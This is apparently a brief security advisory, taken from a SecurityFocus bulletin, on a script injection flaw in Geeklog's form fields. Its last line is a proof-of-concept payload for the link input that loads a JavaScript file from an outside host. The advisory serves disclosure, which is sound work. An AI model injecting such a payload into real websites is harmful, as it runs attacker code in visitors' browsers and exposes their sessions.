7 lines
No EOL
443 B
Text
7 lines
No EOL
443 B
Text
source: https://www.securityfocus.com/bid/4974/info
|
|
|
|
Geeklog does not sufficiently sanitize script code from form fields, making it prone to script injection attacks.
|
|
|
|
Attacker-supplied script code may potentially end up in webpages generated by Geeklog and will execute in the browser of a user who views such pages, in the security context of the website.
|
|
|
|
Link input($url) :<scriptsrc="http://forum.olympos.org/f.js">Alper</script> |